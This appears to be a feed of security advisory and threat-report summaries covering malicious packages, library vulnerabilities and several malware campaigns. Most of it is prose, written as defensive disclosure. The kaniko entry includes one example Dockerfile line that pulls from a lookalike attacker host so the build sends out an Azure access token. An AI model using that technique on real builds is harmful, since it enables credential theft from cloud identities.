DarkBlinders is a sophisticated cyberespionage campaign active from August to October 2026 targeting Israel and the Kurdistan Region of Iraq. The attackers compromised a high-profile Israeli security sector individual and a government cloud environment in Kurdistan. They used phishing lures impersonating Gulf Cooperation Council and Kuwait government entities and leveraged GitHub repositories for command-and-control. Post-compromise activities included credential theft and exfiltration of at least 1 GB of data from the government cloud.
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
The npm package @axo_cuy/baileys version 1.0.0 declares a hard dependency on an off-registry GitHub repository (github:tenka-san/libsignal-node) without version pinning or integrity checks. This allows the third-party repository owner to change the code at any time, potentially introducing malicious code during installation. The dependency bypasses npm registry review and dependency pinning, increasing the risk of supply chain compromise.
The @bil-rgb/baileys npm package versions 1.0.0 and 1.0.1 declare a dependency on a libsignal library hosted in a personal GitHub repository without specifying a commit SHA, tag, or integrity check. This allows the dependency to resolve to the latest code at the repository's HEAD during installation, enabling arbitrary code execution controlled by the repository owner at install time. The package itself is a fork of Baileys, but the critical risk arises from the uncontrolled external dependency resolution.
The pystr-codec package on PyPI contains malicious code that executes on every Python startup. It runs obfuscated JavaScript via a Bun engine to exfiltrate credentials to a public GitHub repository, establish persistence, accept remote commands, spread using stolen credentials, and perform destructive actions if credentials become invalid. This malware is linked to the Miasma-family worm.
The npm package claims-ac1 version 1.0.0 is a malicious package that collects system information during installation without user consent. It uses dependencies fetched from GitHub tarballs that execute a preinstall script to send details such as Node.js version, home directory, working directory, platform, and architecture to a remote collector host. The package has no legitimate functionality and allows the attacker to change the collector host and code at any time without a new npm release. Machines with this package installed should be considered fully compromised.
In September 2026, multiple advanced persistent threat (APT) campaigns targeted South Korean organizations using spear phishing emails. The attacks employed various techniques such as LNK files with embedded PowerShell scripts, HTA files downloaded via curl.exe, and malicious DLLs. Five attack types were identified, deploying AutoIt scripts, infostealers, keyloggers, backdoors including XenoRAT, and persistence via Task Scheduler. Attackers used legitimate platforms like GitHub, Google Drive, and PubNub for command and control. Malicious files were disguised as legitimate documents to deceive victims and exfiltrate system information, credentials, and virtual asset data while maintaining persistent access.
The npm package @testsecuiitytestme/cache-helper is a malicious package that installs a credential stealer and self-propagating worm. It executes a native addon at install time that loads an obfuscated Bun program to collect a wide range of credentials and secrets from developer machines. The malware targets credentials from npm, GitHub, GitLab, PyPI, RubyGems, cloud providers (AWS, GCP, Azure), HashiCorp Vault, Kubernetes, SSH keys, browser logins, and password managers. It also propagates by publishing malicious packages and injecting CI/CD workflow changes and AI assistant configurations. The package was published and updated multiple times on October 27, 2026, then unpublished shortly after. Users who installed any version should consider all accessible credentials compromised and rotate them immediately.
A denial of service vulnerability exists in github.com/go-jose/go-jose/v4 where parsing deeply nested JSON structures can cause the Go runtime to hit its stack limit and crash the application. This affects versions prior to 4.1.5 and up to 3.0.5. The issue is fixed in version 4.1.5. Applications parsing untrusted JSON with affected versions are exposed to crashes.
A denial of service vulnerability exists in github.com/go-jose/go-jose/v4 when decrypting ciphertexts using the CBC-HMAC content encryption algorithms A128CBC-HS256, A192CBC-HS384, or A256CBC-HS512. Insufficient validation of parameters can cause a panic due to indexing into an empty buffer on untrusted input. This affects versions prior to 4.1.5 and up to 3.0.5. A fix is available in version 4.1.5.
A vulnerability in github.com/labstack/echo/v5 middleware.Static allows bypassing route/group middleware guards by using a %2F-encoded path. When middleware.Static is mounted globally, the router matches routes on the raw encoded path, skipping guards for %2F-encoded requests, while the static handler decodes the path and serves the file inside the static root. This leads to unauthorized access to files within the static root that were intended to be protected by route-level middleware. The issue is not path traversal and does not expose files outside the static root. A fix is available in versions 5.4.0 and 4.16.0.
The Echo proxy middleware in github.com/labstack/echo/v5 forwards the X-Real-IP header from incoming requests to upstream services without validation by default. This allows an attacker to supply a spoofed X-Real-IP value, which the proxy relays unchanged. As a result, upstream IP-based access controls, rate limiting, audit logging, and geo-restriction mechanisms relying on X-Real-IP can be bypassed or corrupted. The vulnerability exists because the default configuration leaves IPExtractor unset, preserving legacy behavior that trusts the incoming header. A fix is available in version 5.4.0.
This security update for hauler addresses multiple vulnerabilities including a client IP spoofing issue in the github.com/go-chi/chi/v5 package and fixes credential and presigned URL leaks along with other functional improvements. The update also includes a version bump to 2.1.2 and upgrades Go to 1.27.2.
Since July 2025, a financially motivated threat actor named CyberDakait has conducted a sophisticated Android malware campaign targeting India's financial services sector. The campaign uses seven distinct Android trojan families distributed via smishing and vishing, impersonating bank representatives to trick victims into installing malicious APKs. These trojans steal banking credentials, credit card details, and intercept SMS messages including OTPs through overlay attacks. Additionally, the malware performs cryptojacking using XMRig. The malicious apps are hosted on GitHub to appear legitimate, with initial droppers delivering the main payload and mining modules. At least 17,960 devices have been compromised with 7.6 million intercepted SMS messages reported.
identrail is a machine identity security platform for AWS, GitHub/OIDC, and Kubernetes. Prior to 1.0.2, the default-on `POST /v1/workspaces/:workspace_id/projects/:project_id/github/connect/complete` endpoint in `internal/api/router.go` accepts `installation_id` from the request body or `X-GitHub-Installation-ID` header without verifying the installation belongs to the caller's workspace. `CompleteGitHubConnection` in `internal/api/github_connect.go` rigorously binds `state` to the caller's tenant, workspace, and project, but checks only that the installation ID is positive before persisting it as the caller's connection. `ListInstallationRepositories` in `internal/connectors/github/repositories.go` invokes token creation through `internal/connectors/github/app.go` and `POST /app/installations/{installationId}/access_tokens`, using the application's JWT. An authenticated tenant who starts a legitimate connection can supply another customer's non-secret installation ID to read the victim organization's private repository inventory, content, and metadata or drive posture scans, provided identrail's GitHub App is installed there. The default-off V2 `CompleteGitHubConnector` path shares the installation-ownership gap and additionally matches pending `state` without rechecking caller scope. This issue is fixed in version 1.0.2.
This security update for the Trivy tool addresses multiple vulnerabilities including a path traversal issue in the github.com/hashicorp/go-getter library that could allow files to be written outside the intended destination, and two vulnerabilities in golang.org/x/net/http2 that could cause excessive CPU consumption and HTTP/2 server crashes. The update is provided in Trivy version 0.76.1.
The numprint package on PyPI version 1.2.0 contains malicious code that executes during installation. It starts a background process that runs commands from an attacker via communication through a GitHub Gist. This behavior indicates the package is used as a remote access trojan (RAT) to execute attacker-provided commands on the victim's machine.
A vulnerability in github.com/klauspost/compress/zstd versions prior to 1.20.2 causes a panic due to an out-of-range slice index when decompressing crafted two-block zstd frames. The flaw arises from improper handling of Huffman-weight tables in the FSE decoder, leading to reuse of stale state and an invalid decode table. This can crash any program decompressing untrusted zstd input. The issue is fixed in version 1.20.2.
A malware campaign named Yoba exploits the popularity of AI tools like ChatGPT and Claude by distributing malicious installers through fake GitHub projects. These projects mimic legitimate desktop applications and use DLL sideloading with signed executables from OpenAI and Anthropic to evade security. The malware chain includes YobaDropper and YobaLoader, which deliver unwanted software such as XMRig cryptocurrency miners. The threat actor avoids traditional command-and-control infrastructure, relying instead on Telegram, Tor, Catbox, and DNS over HTTPS. The campaign appears to originate from actors in the UTC-4 timezone with possible Russian links and excludes CIS countries from infection.
Check Point Research identified a malware campaign named Yoba that abuses the popularity of AI tools like ChatGPT and Claude by creating fake GitHub projects impersonating AI desktop applications such as GPT-5.6 Sol, GPT-6 Astra, and Claude Opus. These projects host malicious installers containing a dropper and loader that fetch and execute malware. The campaign uses DLL sideloading with legitimate signed binaries to evade detection and employs strong operational security by avoiding traditional command-and-control infrastructure, instead using Telegram, Tor, Catbox, and DNS over HTTPS. The threat actor shows indicators of Russian origin and operates primarily in the UTC-4 timezone. The malicious releases are hosted on GitHub without password protection, leveraging SEO poisoning to appear in top Google search results and lure victims.
